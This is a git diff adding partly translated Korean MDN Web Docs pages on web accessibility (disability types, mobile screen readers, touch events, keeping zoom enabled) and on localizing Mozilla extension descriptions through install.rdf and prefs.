WAI-ARIA 기초
+
이전 문서에 이어, 시맨틱하지 못한 HTML과 동적 자바 스크립트로 업데이트되는  컨텐츠를 포함하는 복잡한 UI를 제어 하는 것은 어려울 수 있습니다. WAI-ARIA는 브라우저와 보조 기술이 사용자에게 상황을 알려 주는 데 사용할 수 있는 시맨틱한 요소를 추가하여 이러한 문제를 해결하는 기술이다. 여기서는 접근성을 향상시키기 위해 기본적인 수준에서 이 기능을 사용하는 방법을 보여 줍니다.
+
멀티미디어 접근성
+
접근성 문제를 야기할 수 있는 또 다른 범주의 콘텐츠 즉 멀티 미디어 . 비디오, 오디오 및 이미지 콘텐츠에 적절한 대체텍스트를 제공해서 보조 기술과 사용자가 이해할 수 있도록 해야 한다. 이 글은 그 방법을 보여 준다.
+
모바일 접근성
+
모바일 기기를 이용한 웹 접근이 매우 널리 사용되고 있고 iOS및 Android와 같은 유명한 플랫폼에서 액세스가 가능한 툴을 사용하는 경우, 이러한 플랫폼에서 웹 콘텐츠를 접근 할 수 있는지를 고려해야 합니다. 이 자료에서는 모바일 접근성 고려 사항에 대해 살펴봅니다.
+
+ +

평가

+ +
+
접근성 문제 해결 
+
평가에서는 진단 및 해결해야 하는 다양한 접근성 문제가 포함된 간단한 사이트를 제공합니다.
+
+ +

참고 항목

+ + diff --git "a/files/ko/learn/\354\240\221\352\267\274\354\204\261/what_is_accessibility/index.html" "b/files/ko/learn/\354\240\221\352\267\274\354\204\261/what_is_accessibility/index.html" new file mode 100644 index 0000000000..67f4b6d302 --- /dev/null +++ "b/files/ko/learn/\354\240\221\352\267\274\354\204\261/what_is_accessibility/index.html" @@ -0,0 +1,205 @@ +--- +title: What is accessibility? +slug: Learn/접근성/What_is_accessibility +translation_of: Learn/Accessibility/What_is_accessibility +--- +

{{LearnSidebar}}

+ +

{{NextMenu("Learn/Accessibility/HTML", "Learn/Accessibility")}}

+ +

이 글에서는 접근성이 실제로 무엇인지 자세히 살펴보기로 합니다. 이 글에는 웹에서 고려해야 할 사람의 그룹, 웹과 상호 작용하는 데 사용하는 서로 다른 도구 및 접근성 개발 워크 플로우를 포함됩니다.

+ + + + + + + + + + + + +
선행지식:기본적인 컴퓨터 사용 능력, HTML과 CSS에 대한 기본적인 이해.
목표:접근성과 친해지기. 웹 개발자로서 접근성에어떻게 영향을 미치는지 알아보기
+ +

그렇다면 접근성이란 무엇일까요?

+ +

접근성은 가능한 한 많은 사람이 웹 사이트를 사용할 수 있도록 하는 방법으로, 통상적으로 장애인만을 대상으로 한다고 생각하지만 실제로는 모바일 장치를 사용하는 사람이나 느린 네트워크 연결을 사용하는 사람들도 포함하고 있습니다.

+ +

접근성을 모든 사람을 동일하게 대하고, 그들의 능력이나 상황에 상관 없이 그들에게 같은 기회를 주는 것으로 생각할 수도 있습니다. 휠체어에 있기 때문에 누군가를 물리적 건물에서 제외시키는 것이 옳지 않은 것과 같은 방식으로(공공 건물에는 일반적으로 휠체어 경사로나 엘리베이터가 있기 때문에), 휴대 전화를 사용하지 않는 사람을 웹 사이트에서 제외시키는 것도 옳지 않다. 우리는 모두 다르지만, 모두 인간이기 때문에, 동일한 권리를 갖고 있다.

+ +

접근성은 당연히 지켜져야 할 일이지만 일부 국가에서는 법의 일부이기도 하며,  서비스 사용이나 제품 구매가 불가능했던 사람들을 불러모아 중요한 소비자들로 만들수도 있습니다.

+ +

접근성 및 이에 따른 모범 사례는 다음과 같은 모든 사람에게 도움이 될 수 있습니다.

+ + + +

어떤 종류의 장애를 본 적이 있습니까?

+ +

장애가 있는 사람들도 장애가 없는 사람들만큼이나 다양하고, 그만큰 그들의 장애유형도 다양합니다. 여기서 중요한 교훈은 자신이 컴퓨터와 웹을 어떻게 사용하는 지에 대해 생각하고 다른 사람들이 웹을 어떻게 사용하는 지에 대해 배우는 것이다.

+ +

장애의 주요 유형은 웹 콘텐츠에 액세스 하는 데 사용하는 전문 도구와 함께 아래에 설명되어 있습니다.(흔히 보조공학기기또는 보조기술 이라고 알려진).

+ +
+

Note: 세계 보건 기구(WHO)의 장애 및 보건 현황 보고서에 따르면 전 세계 인구의 약 15%에 해당하는 십억명 이상의 사람들이 장애를 갖고 있으며 1억 1천만명에서 1억 9천만명의 성인들이 심각한 장애를 갖고 있다.

+ +

 

+
+ +

시각장애인

+ +

여기에는 전맹, 저시력 장애인 색각장애인등이 포함되며 이런 많은 사람들이 화면확대경(물리적 확대경 또는 소프트웨어 줌 기능 - 대부분의 브라우저와 운영 체제에는 최근 확대 / 축소 기능이 있음)과 디지털 글자를 큰소리로 읽어주는 소프트웨어인 화면낭독기를 사용한다.

+ + + +

 

+ +

스크린 리더들과 친숙해 지는 것은 좋은 생각이다; 당신은 또한 스크린 리더를 설치하고 그것을 가지고 노는 것이 어떻게 작동하는 지에 대한 아이디어를 얻기 위해서 필요하다. 사용에 대한 자세한 내용은 크로스 브라우저 테스트 화면 판독기 가이드( cross browser testing screen readers guide)를 참조하십시오. 아래의 비디오는 또한 경험이 어떠한지에 대한 간단한 예를 제공한다.

+ +

{{EmbedYouTube("IK97XMibEws")}}

+ +

 

+ +

In terms of statistics, the World Health Organization estimates that "285 million people are estimated to be visually impaired worldwide: 39 million are blind and 246 have low vision." (see Visual impairment and blindness). That's a large and significant population of users to just miss out on because your site isn't coded properly — almost the same size as the population of the United States of America.

+ +

People with hearing impairments

+ +

Otherwise known as people with auditory impairments, or deaf people, this group of people have either low hearing levels or no hearing at all. Hearing-impaired people do use ATs (see Assistive Devices for People with Hearing, Voice, Speech, or Language Disorders), but there are not really special ATs specific for computer/web use.

+ +

There are, however, specific techniques to bear in mind for providing text alternatives to audio content that they can read, from simple text transcripts, to text tracks (i.e. captions) that can be displayed along with video. An article later on will discuss these.

+ +

Hearing-impaired people also represent a significant userbase — "360 million people worldwide have disabling hearing loss", says the World Health Organization's Deafness and hearing loss fact sheet.

+ +

People with mobility impairments

+ +

These people have disabilities concerning movement, which might involve purely physical issues (such as loss of limb or paralysis), or neurological/genetic disorders that lead to weakness or loss of control in limbs. Some people might have difficulty making the exact hand movements required to use a mouse, while others might be more severely affected, perhaps being significantly paralysed to the point where they need to use a head pointer to interact with computers.

+ +

This kind of disability can also be a result of old age, rather than any specific trauma or condition, and it could also result from hardware limitations — some users might not have a mouse.

+ +

The way this usually affects web development work is the requirement that controls be accessible by the keyboard — we'll discuss keyboard accessibility in later articles in the module, but it is a good idea to try out some websites using just the keyboard to see how you get on. Can you use the tab key to move between the different controls of a web form, for example? You can find more details about keyboard controls in our Cross browser testing Using native keyboard accessibility section.

+ +

In terms of statistics, a significant number of people have mobility impairments. The U.S. Centers for Disease Control and Prevention Disability and Functioning (Noninstitutionalized Adults 18 Years and Over) reports the USA "Percent of adults with any physical functioning difficulty: 15.1%".

+ +

People with cognitive impairments

+ +

Probably the widest range of disabilities can be seen in this last category — cognitive impairment can broadly refer to disabilities from mental illnesses to learning difficulties, difficulties in comprehension and concentration like ADHD (attention deficit hyperactivity disorder), to people on the autistic spectrum, to people with schizophrenia, and many other types of disorder besides. Such disabilities can affect many parts of everyday life, due to problems with memory, problem solving, comprehension, attention, etc.

+ +

The most common ways that such disabilities might affect website usage is difficulty in understanding how to complete a task, remembering how to do something that was previously accomplished, or increased frustration at confusing workflows or inconsistent layouts/navigation/other page features.

+ +

Unlike other web accessibility issues, it is impossible to prescribe quick fixes to many web accessibility issues arising from cognitive disabilities; the best chance you've got is to design your websites to be as logical, consistent, and usable as possible, so for example making sure that:

+ + + +

These are not "accessibility techniques" as such — they are good design practices. They will benefit everyone using your sites and should be a standard part of your work.

+ +

In terms of statistics, again the numbers are significant. Cornell University's 2014 Disability Status Report (PDF, 511KB) indicates that in 2014, 4.5% of people in the USA aged 21–64 had some form of cognitive disability.

+ +
+

Note: WebAIM's Cognitive page provides a useful expansion of these ideas, and is certainly worth reading.

+
+ +

Implementing accessibility into your project

+ +

A common accessibility myth is that accessibility is an expensive "added extra" to implement on a project. This myth actually can be true if either:

+ + + +

If however you consider accessibility from the start of a project, the cost of making most content accessible should be fairly minimal.

+ +

When planning your project, factor accessibility testing into your testing regime, just like testing for any other important target audience segment (e.g. target desktop or mobile browsers). Test early and often, ideally running automated tests to pick up on programmatically detectable missing features (such as missing image alternative text or bad link text — see Element relationships and context), and doing some testing with disabled user groups to see how well more complex site features work for them. For example:

+ + + +

You can and should keep a note of potential problem areas in your content that will need work to make it accessible, make sure it is tested thoroughly, and think about solutions/alternatives. Text content (as you'll see in the next article) is easy, but what about your multimedia content, and your whizzy 3D graphics? You should look at your project budget and realistically think about what solutions you have available to make such content accessible? You could pay to have all your multimedia content transcribed, which can be expensive, but can be done.

+ +

Also, be realistic. "100% accessibility" is an unobtainable ideal — you will always come across some kind of edge case that results in a certain user finding certain content difficult to use — but you should do as much as you can. If you are planning to include a whizzy 3D pie chart graphic made using WebGL, you might want to include a data table as an accessible alternative representation of the data. Or, you might want to just include the table and get rid of the 3D pie chart — the table is accessible by everyone, quicker to code, less CPU-intensive, and easier to maintain.

+ +

On the other hand, if you are working on a gallery website showing interesting 3D art, it would be unreasonable to expect every piece of art to be perfectly accessible to visually impaired people, given that it is an entirely visual medium.

+ +

To show that you care and have thought about accessibility, publish an accessibility statement on your site that details what your policy is toward accessibility, and what steps you have taken toward making the site accessible. If someone does complain that your site has an accessibility problem, start a dialog with them, be empathic, and take reasonable steps to try to fix the problem.

+ +
+

Note: Our Handling common accessibility problems article covers accessibility specifics that should be tested in more detail.

+
+ +

To summarize:

+ + + +

Accessibility guidelines and the law

+ +

There are numerous checklists and sets of guidelines available for basing accessibility tests on, which might seem overwhelming at first glance. Our advice is to familiarize yourself with the basic areas in which you need to take care, as well as understanding the high level structures of the guidelines that are most relevant to you.

+ + + +

So while the WCAG is a set of guidelines, your country will probably have laws governing web accessibility, or at least the accessibility of services available to the public (which could include websites, television, physical spaces, etc.) It is a good idea to find out what your laws are. If you make no effort to check that your content is accessible, you could possibly get in trouble with the law if people with diabilities complain about it.

+ +

This sounds serious, but really you just need to consider accessibility as a main priority of your web development practices, as outlined above. If in doubt, get advice from a qualified lawyer. We're not going to offer any more advice than this, because we're not lawyers.

+ +

Accessibility APIs

+ +

Web browsers make use of special accessibility APIs (provided by the underlying operating system) that expose information useful for assistive technologies (ATs) — ATs mostly tend to make use of semantic information, so this information doesn't include things like styling information, or JavaScript. This information is structured in a tree of information called the accessibility tree.

+ +

Different operating systems have different accessibility APIs available :

+ + + +

Where the native semantic information provided by the HTML elements in your web apps falls down, you can supplement it with features from the WAI-ARIA specification, which add semantic information to the accessibility tree to improve accessibility. You can learn a lot more about WAI-ARIA in our WAI-ARIA basics article.

+ +

Summary

+ +

This article should have given you a useful high level overview of accessibility, shown you why it's important, and looked at how you can fit it into your workflow. You should now also have a thirst to learn about the implementation details that can make sites accessible, and we'll start on that in the next section, looking at why HTML is a good basis for accessibility.

+ +

{{NextMenu("Learn/Accessibility/HTML", "Learn/Accessibility")}}

+ +

In this module

+ + diff --git "a/files/ko/learn/\354\240\221\352\267\274\354\204\261/\353\252\250\353\260\224\354\235\274/index.html" "b/files/ko/learn/\354\240\221\352\267\274\354\204\261/\353\252\250\353\260\224\354\235\274/index.html" new file mode 100644 index 0000000000..a64c0eaa88 --- /dev/null +++ "b/files/ko/learn/\354\240\221\352\267\274\354\204\261/\353\252\250\353\260\224\354\235\274/index.html" @@ -0,0 +1,315 @@ +--- +title: 모바일 접근성 +slug: Learn/접근성/모바일 +translation_of: Learn/Accessibility/Mobile +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/Accessibility/Multimedia","Learn/Accessibility/Accessibility_troubleshooting", "Learn/Accessibility")}}
+ +

모바일 기기에서 웹 접근이 매우 자주 발생하고 iOS와 안드로이드와 같은 유명 플랫폼들은 전문적인 접근성 점검도구들이 있기 때문에 웹콘텐츠의 접근성을 고려하는 것이 더욱 중요하다. 여기서는 모바일환경을 중심으로 접근성 고려사항을 살펴본다.

+ + + + + + + + + + + + +
사전지식: +

기본적인 컴퓨터 사용능력, HTML, CSS, JavaScript에 대한 기본적인 이해, 그리고 이전 내용들에 대한 이해.

+
목표: +

모바일 기기의 접근성에 어떤 문제가 있는지, 그리고 이를 극복하는 방법을 이해한다.

+
+ +

모바일 장치에서의 접근성

+ +

접근성 상태(일반적으로 웹 표준에 대한 지원)는 최근의 모바일 장치에서 좋다. 모바일 기기가 데스크톱 브라우저에 전혀 다른 웹 기술을 실행하면서 개발자들이 브라우저 코웃음을 치며 완전히 별개의 사이트에 서비스를 제공하도록 강요하던 시대는 이미 오래 전에 지났다(아직도 상당수의 회사가 모바일 장치의 사용을 감지하여 별도의 모바일 도메인을 서비스하고 있다).

+ + + +

The state of accessibility — and support for web standards in general — is good in modern mobile devices. Long gone are the days when mobile devices ran completely different web technologies to desktop browsers, forcing developers to use browser sniffing and serve them completely separate sites (although quite a few companies still detect usage of mobile devices and serve them a separate mobile domain).

+ +

These days, mobile devices can usually handle fully-featured websites, and the main platforms even have screenreaders built in to enable visually impaired users to use them successfully. Modern mobile browsers tend to have good support for WAI-ARIA, too.

+ +

To make a website accessible and usable on mobile, you just need to follow general good web design and accessibility best practices.

+ +

There are some exceptions that need special consideration for mobile; the main ones are:

+ + + +

Summary of screenreader testing on Android and iOS

+ +

The most common mobile platforms have fully functional screen readers. These function in much the same way as desktop screenreaders, except they are largely operated using touch gestures rather than key combinations.

+ +

Let's look at the main two: TalkBack on Android and VoiceOver on iOS.

+ +

Android TalkBack

+ +

The TalkBack screen reader is built into the Android operating system.

+ +

To turn it on, look up what phone model and Android version you have, and then look up where the TalkBack menu is. It tends to differ widely between Android versions and even between different phone models. Some phone manufacturers (e.g. Samsung) don't even have TalkBack in newer phones, and instead opted for their own screen reader.

+ +

When you've found the TalkBack menu, press the slider switch to turn TalkBack on. Follow any additional on-screen prompts that you are presented with.

+ +

When TalkBack is turned on, your Android device's basic controls will be a bit different. For example:

+ +
    +
  1. Single-tapping an app will select it, and the device will read out what the app is.
  2. +
  3. Swiping left and right will move between apps, or buttons/controls if you are in a control bar. The device will read out each option.
  4. +
  5. Double-tapping anywhere will open the app/select the option.
  6. +
  7. You can also "explore by touch" — hold your finger down on the screen and drag it around, and your device will read out the different apps/items you move across.
  8. +
+ +

If you want to turn TalkBack off:

+ +
    +
  1. Navigate back to the TalkBack menu screen (using the different gestures that are currently enabled.)
  2. +
  3. Navigate to the slider switch and activate it to turn it off.
  4. +
+ +
+

Note: You can get to your home screen at any time by swiping up and left in a smooth motion. If you have more than one home screen, you can move between them by swiping two fingers left and right.

+
+ +

For a more complete list of TalkBack gestures, see Use TalkBack gestures.

+ +

Unlocking the phone

+ +

When TalkBack is turned on, unlocking the phone is a bit different.

+ +

You can do a two-finger swipe up from the bottom of the lock screen. If you've set a passcode or pattern for unlocking your device, you will then be taken to the relevant entry screen to enter it.

+ +

You can also explore by touch to find the Unlock button at the bottom middle of the screen, and then double-tap.

+ +

Global and local menus

+ +

TalkBack allows you to access global and local context menus, wherever you have navigated to on the device. The former provides global options relating to the device as a whole, and the latter provides options relating just to the current app/screen you are in.

+ +

To get to these menus:

+ +
    +
  1. Access the global menu by quickly swiping down, and then right.
  2. +
  3. Access the local menu by quickly swiping up, and then right.
  4. +
  5. Swipe left and right to cycle between the different options.
  6. +
  7. Once you've selected the option you want, double-click to choose that option.
  8. +
+ +

For details on all the options available under the global and local context menus, see Use global and local context menus.

+ +

Browsing web pages

+ +

You can use the local context menu while in a web browser to find options to navigate web pages using just the headings, form controls, or links, or navigate line by line, etc.

+ +

For example, with TalkBack turned on:

+ +
    +
  1. Open your web browser.
  2. +
  3. Activate the URL bar.
  4. +
  5. Enter a web page that has a bunch of headings on it, such as the front page of bbc.co.uk. To enter the text of the URL: +
      +
    • Select the URL bar by swiping left/right till you get to it, and then double-tapping.
    • +
    • Hold your finger down on the virtual keyboard until you get the character you want, and then release your finger to type it. Repeat for each character.
    • +
    • Once you've finished, find the Enter key and press it.
    • +
    +
  6. +
  7. Swipe left and right to move between different items on the page.
  8. +
  9. Swipe up and right with a smooth motion to enter the local content menu.
  10. +
  11. Swipe right until you find the "Headings and Landmarks" option.
  12. +
  13. Double-tap to select it. Now you'll be able to swipe left and right to move between headings and ARIA landmarks.
  14. +
  15. To go back to the default mode, enter the local context menu again by swiping up and right, select "Default", and then double-tap to activate.
  16. +
+ +

Note: See Get started on Android with TalkBack for more complete documentation.

+ +

iOS VoiceOver

+ +

A mobile version of VoiceOver is built into the iOS operating system.

+ +

To turn it on, go to Your Settings app and select Accessibility > VoiceOver. Press the VoiceOver slider to enable it (you'll also see a number of other options related to VoiceOver on this page).

+ +
+

Note: Some older iOS devices have the VoiceOver menu at Settings app > General > Accessibility > VoiceOver.

+
+ +

Once VoiceOver is enabled, iOS's basic control gestures will be a bit different:

+ +
    +
  1. A single tap will cause the item you tap on to be selected; your device will speak the item you've tapped on.
  2. +
  3. You can also navigate the items on the screen by swiping left and right to move between them, or by sliding your finger around on the screen to move between different items (when you find the item you want, you can remove your finger to select it).
  4. +
  5. To activate the selected item (e.g., open a selected app), double-tap anywhere on the screen.
  6. +
  7. Swipe with three fingers to scroll through a page.
  8. +
  9. Tap with two fingers to perform a context-relevant action — for example, taking a photo while in the camera app.
  10. +
+ +

To turn it off again, navigate back to Settings > General > Accessibility > VoiceOver using the above gestures, and toggle the VoiceOver slider back to off.

+ +

Unlock phone

+ +

To unlock the phone, you need to press the home button (or swipe) as normal. If you have a passcode set, you can select each number by swiping/sliding (as explained above) and then double-tapping to enter each number when you've found the right one.

+ +

Using the Rotor

+ +

When VoiceOver is turned on, you have a navigation feature called the Rotor available to you, which allows you to quickly choose from a number of common useful options. To use it:

+ +
    +
  1. Twist two fingers around on the screen like you are turning a dial. Each option will be read aloud as you twist further around. You can go back and forth to cycle through the options.
  2. +
  3. Once you've found the option you want: +
      +
    • Release your fingers to select it.
    • +
    • If it is an option you can iterate the value of (such as Volume or Speaking Rate), you can do a swipe up or down to increase or decrease the value of the selected item.
    • +
    +
  4. +
+ +

The options available under the Rotor are context-sensitive — they will differ depending on what app or view you are in (see below for an example).

+ +

Browsing web pages

+ +

Let's have a go at web browsing with VoiceOver:

+ +
    +
  1. Open your web browser.
  2. +
  3. Activate the URL bar.
  4. +
  5. Enter a web page that has a bunch of headings on it, such as the front page of bbc.co.uk. To enter the text of the URL: +
      +
    • Select the URL bar by swiping left/right until you get to it, and then double-tapping.
    • +
    • For each character, hold your finger down on the virtual keyboard until you get the character you want, and then release your finger to select it. Double-tap to type it.
    • +
    • Once you've finished, find the Enter key and press it.
    • +
    +
  6. +
  7. Swipe left and right to move between items on the page. You can double-tap an item to select it (e.g., follow a link).
  8. +
  9. By default, the selected Rotor option will be Speaking Rate; you can currently swipe up and down to increase or decrease the speaking rate.
  10. +
  11. Now turn two fingers around the screen like a dial to show the rotor and move between its options. Here are a few examples of the options available: +
      +
    • Speaking Rate: Change the speaking rate.
    • +
    • Containers: Move between different semantic containers on the page.
    • +
    • Headings: Move between headings on the page.
    • +
    • Links: Move between links on the page.
    • +
    • Form Controls: Move between form controls on the page.
    • +
    • Language: Move between different translations, if they are available.
    • +
    +
  12. +
  13. Select Headings. Now you'll be able to swipe up and down to move between headings on the page.
  14. +
+ +

Note: For a more complete reference covering the VoiceOver gestures available and other hints on accessibility testing on iOS, see Test Accessibility on Your Device with VoiceOver.

+ +

Control mechanisms

+ +

In our CSS and JavaScript accessibility article, we looked at the idea of events that are specific to a certain type of control mechanism (see Mouse-specific events). To recap, these cause accessibility issues because other control mechanisms can't activate the associated functionality.

+ +

As an example, the click event is good in terms of accessibility — an associated event handler can be invoked by clicking the element the handler is set on, tabbing to it and pressing Enter/Return, or tapping it on a touchscreen device. Try our simple-button-example.html example (see it running live) to see what we mean.

+ +

Alternatively, mouse-specific events such as mousedown and mouseup create problems — their event handlers cannot be invoked using non-mouse controls.

+ +

If you try to control our simple-box-drag.html (see example live) example with a keyboard or touch, you'll see the problem. This occurs because we are using code such as the following:

+ +
div.onmousedown = function() {
+  initialBoxX = div.offsetLeft;
+  initialBoxY = div.offsetTop;
+  movePanel();
+}
+
+document.onmouseup = stopMove;
+ +

To enable other forms of control, you need to use different, yet equivalent events — for example, touch events work on touchscreen devices:

+ +
div.ontouchstart = function(e) {
+  initialBoxX = div.offsetLeft;
+  initialBoxY = div.offsetTop;
+  positionHandler(e);
+  movePanel();
+}
+
+panel.ontouchend = stopMove;
+ +

We've provided a simple example that shows how to use the mouse and touch events together — see multi-control-box-drag.html (see the example live also).

+ +
+

Note: You can also see fully functional examples showing how to implement different control mechanisms at Implementing game control mechanisms.

+
+ +

Responsive design

+ +

Responsive design is the practice of making your layouts and other features of your apps dynamically change depending on factors such as screen size and resolution, so they are usable and accessible to users of different device types.

+ +

In particular, the most common problems that need to be addressed for mobile are:

+ + + +

Note: We won't provide a full discussion of responsive design techniques here, as they are covered in other places around MDN (see above links).

+ +

Specific mobile considerations

+ +

There are other important issues to consider when making sites more accessible on mobile. We have listed a couple here, but we will add more when we think of them.

+ +

Not disabling zoom

+ +

Using viewport, it is possible to disable zoom. Always ensure resizing is enabled, and set the width to the device's width in the {{htmlelement("head")}}:

+ +
<meta name="viewport" content="width=device-width; user-scalable=yes">
+ +

You should never set user-scalable=no if at all possible — many people rely on zoom to be able to see the content of your website, so taking this functionality away is a really bad idea. There are certain situations where zooming might break the UI; in such cases, if you feel that you absolutely need to disable zoom, you should provide some other kind of equivalent, such as a control for increasing the text size in a way that doesn't break your UI.

+ +

Keeping menus accessible

+ +

Because the screen is so much narrower on mobile devices, it is very common to use media queries and other technologies to make the navigation menu shrink down to a tiny icon at the top of the display — which can be pressed to reveal the menu only if it's needed — when the site is viewed on mobile. This is commonly represented by a "three horizontal lines" icon, and the design pattern is consequently known as a "hamburger menu".

+ +

When implementing such a menu, you need to make sure that the control to reveal it is accessible by appropriate control mechanisms (normally touch for mobile), as discussed in {{anch("Control mechanisms")}} above, and that the rest of the page is moved out of the way or hidden in some way while the menu is being accessed, to avoid confusion with navigating it.

+ +

Click here for a good hamburger menu example.

+ +

User input

+ +

On mobile devices, inputting data tends to be more annoying for users than the equivalent experience on desktop computers. It is more convenient to type text into form inputs using a desktop or laptop keyboard than a touchscreen virtual keyboard or a tiny mobile physical keyboard.

+ +

For this reason, it is worth trying to minimize the amount of typing needed. As an example, instead of getting users to fill out their job title each time using a regular text input, you could instead offer a {{htmlelement("select")}} menu containing the most common options (which also helps with consistency in data entry), and offer an "Other" option that displays a text field to type any outliers into. You can see a simple example of this idea in action in common-job-types.html (see the common jobs example live).

+ +

It is also worth considering the use of HTML5 form input types such as the date on mobile platforms as they handle them well — both Android and iOS, for example, display usable widgets that fit well with the device experience. See html5-form-examples.html for some examples (see the HTML5 form examples live) — try loading these and manipulating them on mobile devices. For example:

+ + + +

If you want to provide a different solution for desktops, you could always serve different markup to your mobile devices using feature detection. See input types for raw information on detecting different input types, and also check out our feature detection article for much more information.

+ +

Summary

+ +

In this article, we have provided you with some details about common mobile accessibility-specific issues and how to overcome them. We also took you through the usage of the most common screenreaders to aid you in accessibility testing.

+ +

See also

+ + + +
{{PreviousMenuNext("Learn/Accessibility/Multimedia","Learn/Accessibility/Accessibility_troubleshooting", "Learn/Accessibility")}}
+ +
+

In this module

+ + +
diff --git a/files/ko/localization/index.html b/files/ko/localization/index.html new file mode 100644 index 0000000000..d2f45a54e0 --- /dev/null +++ b/files/ko/localization/index.html @@ -0,0 +1,63 @@ +--- +title: Localization +slug: Localization +tags: + - Localization +translation_of: Glossary/Localization +--- +
+

지역화는 소프트웨어 사용자 인터페이스를 다른 언어로 번역하고 그 문화에 맞게 바꾸는 과정을 의미합니다. 지역화와 관련된 내용은 모질라 기반의 프로그램이나 확장기능을 지역화 할 수 있게 만드는 것에 관한 것입니다.

+ + + + + + + +
+

선택된 주제

+
+
+ Create a new localization
+
+ First read for volunteers wanting to create a new localization.
+
+
+
+ XUL Tutorial:Localization
+
+ XUL Tutorial XUL 응용프로그램 지역화 관련.
+
+
+
+ Writing localizable code
+
+ 프로그래머를 위한 최상의 지역화 작업의 실례와 제시안들.
+
+
+
+ Localizing descriptions of extensions
+
+ 확장기능의 설명을 지역화 하기위해서는 "install.rdf" 파일 내에 입력된 사항들을 대체하기 위한 특별한 설정키가 필요합니다.
+
+ 본문에서는 이러한 설정 키들을 어떻게 수정하는지 그 순서 및 방법에 관한 내용을 담고 있습니다.
+
+


+ View All...

+
+

다른 페이지들

+ +

관련 주제들

+
+
+ Extensions, XUL
+
+
+

Categories

+

Interwiki Language Links

+
+

{{ languages( { "en": "en/Localization", "es": "es/Localizaci\u00f3n", "it": "it/Localization", "fr": "fr/Localisation", "ja": "ja/Localization", "pl": "pl/Lokalizacja" } ) }}

diff --git a/files/ko/localizing_extension_descriptions/index.html b/files/ko/localizing_extension_descriptions/index.html new file mode 100644 index 0000000000..763c51c275 --- /dev/null +++ b/files/ko/localizing_extension_descriptions/index.html @@ -0,0 +1,90 @@ +--- +title: Localizing extension descriptions +slug: Localizing_extension_descriptions +tags: + - Add-ons + - Extensions + - Localization +translation_of: Mozilla/Localization/Localizing_extension_descriptions +--- +

 

+

Gecko 1.9의 지역화

+

{{ Gecko_minversion_header(1.9) }} {{ Fx_minversion_header(3) }}

+

Gecko 1.9는 부가 기능 설명과 기타 메타데이터를 지역화하는 새롭고 더욱 견고한 방법을 포함합니다. 모든 다양한 설명은 이제 em:localized 속성을 사용하여 install.rdf 파일에 나타납니다. 각각은 정보가 사용되는 로케일을 표시하는 적어도 하나 이상의 em:locale 속성을 포함하고 나서 로케일에 대한 다양한 문자열을 포함합니다. 다음 예제는 이를 잘 보여줍니다(명료하게 하려고 대부분의 일반적인 선언 속성은 삭제했습니다).

+
<?xml version="1.0"?>
+
+<RDF xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+     xmlns:em="http://www.mozilla.org/2004/em-rdf#">
+  <Description about="urn:mozilla:install-manifest">
+    <em:id>TabSidebar@blueprintit.co.uk</em:id>
+    <em:localized>
+      <Description>
+        <em:locale>de-DE</em:locale>
+        <em:name>Tab Sidebar</em:name>
+        <em:description>Zeigt in einer Sidebar Vorschaubilder der Inhalte aller offenen Tabs an.</em:description>
+      </Description>
+    </em:localized>
+    <em:localized>
+      <Description>
+        <em:locale>es-ES</em:locale>
+        <em:name>Tab Sidebar</em:name>
+        <em:description>Muestra una vista previa de sus pestañas en su panel lateral.</em:description>
+      </Description>
+    </em:localized>
+    <em:localized>
+      <Description>
+        <em:locale>nl-NL</em:locale>
+        <em:name>Tab Sidebar</em:name>
+        <em:description>Laat voorbeeldweergaven van uw tabbladen in de zijbalk zien.</em:description>
+      </Description>
+    </em:localized>
+    <em:name>Tab Sidebar</em:name>
+    <em:description>Displays previews of your tabs in your sidebar.</em:description>
+  </Description>
+</RDF>
+
+

아래에 언급한 모든 메타데이터는 이러한 방식으로 지역화합니다. em:localized 속성이 제공하는 지역화 정보는 아래에 자세히 설명하듯이 지역화 선택 사항을 사용하여 덮어 쓸 수 있습니다.

+

주어진 로케일에 대해서 사용할 em:localized 속성을 선택하는 과정은 다음과 같습니다.

+
    +
  1. 로케일과 정확하게 일치하는 em:locale을 가진 속성이 있으면 그것을 사용합니다.
  2. +
  3. 부분적으로 일치하는 것이 있으면 대시로 구분된 가장 일치하는 부분을 가진 것을 사용합니다 (예: es는 es-ES와 일치하고 반대로도 마찬가지).
  4. +
  5. 일치하는 부분의 수가 같은 하나 이상의 로케일이 있으면 가장 일반적인 것을 사용합니다 (예: en-US를 찾을 때 en-GB보다 en을 선호).
  6. +
+

현재의 애플리케이션 로케일을 검색하고 나서 en-US에 대한 대체(fallback) 검색을 합니다.

+

선택 사항이 지정되어 있지 않고 현재 로케일이나 en-US에 대해 일치하는 em:localized 속성이 없는 경우에는 최후 방편으로 설치 선언에 직접 지정된 속성을 사용합니다. 이는 Gecko 1.9 이전에 항상 사용되었기 때문입니다.

+

Gecko 1.9 이전 버전의 지역화

+

Gecko 1.9 이전 버전에서는 (Firefox나 Thunderbird와 같은) 툴킷 기반의 애플리케이션을 대상으로 하는 부가 기능에 대한 지역화된 부가 기능 설명을 정의하려면 부가 기능 개발자가 특별한 과정을 밟아야 합니다.

+ +

지역화 가능 문자열

+

다음의 부가 기능 메타데이터를 이 과정에 따라 지역화할 수 있습니다.

+ +

지역화 가능 목록

+

여러 값이 존재하는 경우에 대비하여 숫자 색인이 선택 사항 이름 뒤에 붙습니다.

+
extensions.EXTENSION_ID.contributor.1=FIRST_LOCALIZED_CONTRIBUTOR_NAME
+extensions.EXTENSION_ID.contributor.2=SECOND_LOCALIZED_CONTRIBUTOR_NAME
+extensions.EXTENSION_ID.contributor.3=THRID_LOCALIZED_CONTRIBUTOR_NAME
+
+pref("extensions.EXTENSION_ID.contributor.1", "PATH_TO_LOCALIZATION_FILE");
+pref("extensions.EXTENSION_ID.contributor.2", "PATH_TO_LOCALIZATION_FILE");
+pref("extensions.EXTENSION_ID.contributor.3", "PATH_TO_LOCALIZATION_FILE");
+
+

다음의 부가 기능 메타데이터를 이 과정에 따라 지역화할 수 있습니다.

+ diff --git a/files/ko/mdn/about/index.html b/files/ko/mdn/about/index.html new file mode 100644 index 0000000000..79923381d6 --- /dev/null +++ b/files/ko/mdn/about/index.html @@ -0,0 +1,118 @@ +--- +title: MDN 이란 +slug: MDN/About +tags: + - Collaborating + - Community + - Copyright + - Documentation + - Guide + - Licenses + - MDN Meta +translation_of: MDN/About +--- +
{{MDNSidebar}}
+ +
{{IncludeSubnav("/ko/docs/MDN")}}
+ +

